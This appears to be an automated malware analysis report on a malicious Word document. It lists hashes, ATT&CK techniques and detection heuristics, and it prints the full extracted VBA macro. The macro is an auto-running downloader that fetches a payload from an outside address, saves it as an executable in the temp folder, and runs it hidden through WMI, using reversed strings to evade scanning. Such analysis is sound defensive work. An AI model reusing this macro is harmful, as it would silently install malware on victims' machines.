Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 4f1f5958ed91e8bc…

MALICIOUS

Office (OOXML)

19.3 KB Created: 2021-05-13 11:37:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-22
MD5: 6337338a5b77e32a8879fbb49a7df786 SHA-1: 730687ba781206406048b979dc39612dd8dfcb35 SHA-256: 4f1f5958ed91e8bcd79aac1ccb2b3ace5f53ff63bdc41672150f39250b8b426a
278 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is a malicious OOXML document containing a VBA macro with an Auto_Open function. This macro is designed to download a second-stage payload from the URL "http://192.168.1.43/macro.txt", save it as "AppLaunch-actual.exe" in the temporary directory, and then execute it using Win32_Process. The use of CreateObject and GetObject calls, along with obfuscated code, indicates a downloader functionality.

Heuristics 9

  • VBA project inside OOXML medium 7 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
            dollop.Write downloadf.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
            Set downloadf = CreateObject("WinHttp.WinHttpRequest.5.1")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
            Set downloadf = CreateObject("WinHttp.WinHttpRequest.5.1")
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
            Set objWMIService = GetObject(strGetObject)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
            dstPath = Environ$("TEMP") & "\" & namePrefix & nameSuffix
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://192.168.1.43/macro.txt Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1879 bytes
SHA-256: 0ebcd5e7676d2719374a41a75140aef0341d2c3e1b2ecb735580ef24d2dd78d1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub Auto_Open()

Execute


End Sub


     Public Function Execute() As Variant
        Dim payload As String
        Dim namePrefix As String
        Dim nameSuffix As String
        Dim zzz As String
        Dim dollop As Object
        Dim dstPath As String
        Dim savePath As String
        
        namePrefix = "AppLaunch-actual"
        nameSuffix = ".exe"
        payload = "http://192.168.1.43/macro.txt"
        
        zzz = payload
        
        Dim downloadf
        Set downloadf = CreateObject("WinHttp.WinHttpRequest.5.1")
        downloadf.Open "GET", zzz, False
        downloadf.setRequestHeader "Host", "192.168.1.43"
        downloadf.Send
        Set dollop = CreateObject(StrReverse("maertS.bdodA"))
        dollop.Type = 1
        dollop.Open
        dollop.Write downloadf.responseBody
        dstPath = Environ$("TEMP") & "\" & namePrefix & nameSuffix
        savePath = dstPath
        dollop.savetofile savePath, 2
        
        Const HIDDEN_WINDOW = 0

        strComputer = "."
        binary = dstPath
        strGetObject = StrReverse("2vmic\toor\.\\:stmgmniw")
        Set objWMIService = GetObject(strGetObject)
        Set objStartup = objWMIService.Get(StrReverse("putratSssecorP_23niW"))
        Set objConfig = objStartup.SpawnInstance_
        objConfig.ShowWindow = HIDDEN_WINDOW
        Set objProcess = GetObject(strGetObject & StrReverse("ssecorP_23niW:"))
        objProcess.Create binary, Null, objConfig, intProcessID
                
     End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 18944 bytes
SHA-256: 96605ef2689f602c2711cda14fe3245d269c45f70ecca6f2afa521d2d2d0326f

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